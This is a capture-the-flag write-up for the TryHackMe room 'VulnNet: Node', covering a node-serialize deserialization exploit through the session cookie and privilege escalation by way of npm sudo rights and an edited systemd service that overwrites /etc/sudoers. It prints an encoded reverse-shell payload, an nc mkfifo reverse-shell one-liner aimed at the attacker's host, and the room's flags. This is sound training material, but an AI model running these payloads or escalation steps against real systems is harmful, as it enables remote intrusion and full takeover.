TryHackMe - VulnNet: Node - Writeup

After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?

Nmap Fuzzing

root@ip-10-10-193-224:~# nmap -sCV -A 10.10.97.187 -T3

Starting Nmap 7.60 ( https://nmap.org ) at 2021-06-14 12:33 BST
Nmap scan report for ip-10-10-97-187.eu-west-1.compute.internal (10.10.97.187)
Host is up (0.00050s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VulnNet – Your reliable news source – Try Now!
MAC Address: 02:17:D9:C4:57:B1 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=6/14%OT=8080%CT=1%CU=35295%PV=Y%DS=1%DC=D%G=Y%M=0217D9
OS:%TM=60C73E98%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=Z%TS
OS:=A)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M
OS:2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST1
OS:1)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%
OS:W=F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R
OS:=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%U
OS:N=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.50 ms ip-10-10-97-187.eu-west-1.compute.internal (10.10.97.187)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.33 seconds

Directory Fuzzing

---- Scanning URL: http://10.10.7.107:8080/ ----
+ http://10.10.7.107:8080/css (CODE:301|SIZE:173)                                                       
+ http://10.10.7.107:8080/img (CODE:301|SIZE:173)                                                       
+ http://10.10.7.107:8080/login (CODE:200|SIZE:2127)                                                    
+ http://10.10.7.107:8080/Login (CODE:200|SIZE:2127) 

Nothing special about the directory in this box, One thing caught my eye is Node.js vulnerabilities still present this times and the server running on node as well and also I saw in request header there is base64 encoded cookie

GET / HTTP/1.1
Host: node.thm:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://node.thm:8080/login?
Cookie: session=eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D
Upgrade-Insecure-Requests: 1
If-None-Match: W/"1daf-dPXia8DLlOwYnTXebWSDo/Cj9Co"

I decoded the base64 cookie

{"username":"Guest","isGuest":true,"encoding": "utf-8"}

Interesting so I searched if any exploit avilable for node.js

root@ip-10-10-101-82:~# searchsploit node.js

----------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                         |  Path
----------------------------------------------------------------------- ---------------------------------
Node.JS - 'node-serialize' Remote Code Execution                       | linux/remote/45265.js
Trend Micro - node.js HTTP Server Listening on localhost Can Execute C | windows/remote/39218.html
----------------------------------------------------------------------- ---------------------------------

Previously I read a blog about deserialization of node js so it’s fun to implement, I used the NodeJsShell.py to generate shell

root@ip-10-10-101-82:~# python2 nodejsshell.py 10.10.101.82 4444
[+] LHOST = 10.10.101.82
[+] LPORT = 4444
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,48,49,46,56,50,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

Then you have to use {"rce":"_$$ND_FUNC$$_function (){ // your code goes here }()"}

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,48,49,46,56,50,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Now encode this to base64 and intercept the request of the nodejs server and paste the base64 in cookie make sure you listenting to the port from netcat you set on you reverse shell

root@ip-10-10-101-82:~# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.7.107 41980 received!
Connected!
whoami
www

If you want to use the linux/remote/45265.js exploit you just need to change few things

{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.101.82 4444 >/tmp/f')}()","isGuest":false,"encoding": "utf-8"}

Then you’ll get the shell.

We go connection and the low priv user is www now spawn the shell to get a normal stability

python -c 'import pty; pty.spawn("/bin/bash")'
$ ls /home
ls /home
serv-manage  www
$ ls /home/serv-manage
ls /home/serv-manage
ls: cannot open directory '/home/serv-manage': Permission denied

We don’t have permission in serv-manage so it’s time to escalate to serv-manage and then root. So, sudo -l return that www can run /usr/bin/npm as sudo

$ sudo -l
sudo -l
Matching Defaults entries for www on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on vulnnet-node:
    (serv-manage) NOPASSWD: /usr/bin/npm

After seeing this I head out to GTFOBins NPM

$ TF=$(mktemp -d)
$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
$ sudo -u serv-manage npm -C $TF --unsafe-perm i

I got error after running sudo because /tmp/tmp.* item have no permission.

npm ERR!  [OperationalError: EACCES: permission denied, open '/tmp/tmp.c8MIpWLAXH/npm-shrinkwrap.json'] {
npm ERR!   cause: [Error: EACCES: permission denied, open '/tmp/tmp.c8MIpWLAXH/npm-shrinkwrap.json'] {

So make it executable using chmod 777 /tmp/tmp.* -R and then run the sudo command once again.

$ sudo -u serv-manage npm -C $TF --unsafe-perm i
sudo -u serv-manage npm -C $TF --unsafe-perm i

> @ preinstall /tmp/tmp.c8MIpWLAXH
> /bin/sh

$ whoami
whoami
serv-manage

Now we are serv-manage

cd /home/serv-manage
$ ls
ls
Desktop    Downloads  Pictures	Templates  Videos
Documents  Music      Public	user.txt
$ cat user.txt
cat user.txt
THM{064640a2f880ce9ed7a54886f1bde821}

User flag: THM{064640a2f880ce9ed7a54886f1bde821}

Now it’s time for root access. for root access I normally approch with sudo -l if I my priv is lower for example www anyway so. In this sudo list serv-manage can run systemctl start stop and daemon-reload of vulnnet-auto.timer

$ sudo -l
sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl daemon-reload

So, I was checking if I can write into the vuln-auto.timer /etc/systemd/system

$ ls -la /etc/systemd/system/vulnnet-auto.timer
ls -la /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24 16:59 /etc/systemd/system/vulnnet-auto.timer

We have permission to write into vulnnet-auto.timer

$ cat /etc/systemd/system/vulnnet-auto.timer
cat /etc/systemd/system/vulnnet-auto.timer
[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

vulnnet-job.service unit service set as timer let’s check

$ cat /etc/systemd/system/vulnnet-job.service                                                     
cat /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target

this service calling /bin/df each time it runs. Edit the vulnnet-job.service with vi

serv-manage@vulnnet-node:/tmp$ cat /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/bash -c 'echo "serv-manage ALL=(root) NOPASSWD: ALL" > /etc/sudoers'

[Install]
WantedBy=multi-user.target

Add /bin/bash -c 'echo "serv-manage ALL=(root) NOPASSWD: ALL" > /etc/sudoers' in ExecStart so serv-manage will have root power when the user will use sudo su

serv-manage@vulnnet-node:/tmp$ sudo /bin/systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:/tmp$ sudo /bin/systemctl daemon-reload
serv-manage@vulnnet-node:/tmp$ sudo /bin/systemctl start vulnnet-auto.timer

stop the timer and daemon will reload the background process and start the timer service, wait few second and try to access using sudo su

serv-manage@vulnnet-node:/tmp$ sudo -l
User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: ALL
serv-manage@vulnnet-node:/tmp$ sudo su
root@vulnnet-node:/tmp# cat /root/root.txt
THM{abea728f211b105a608a720a37adabf9}

Root flag: THM{abea728f211b105a608a720a37adabf9}

Thanks for reading

Room link: VulnNet: Node

Written on June 15, 2021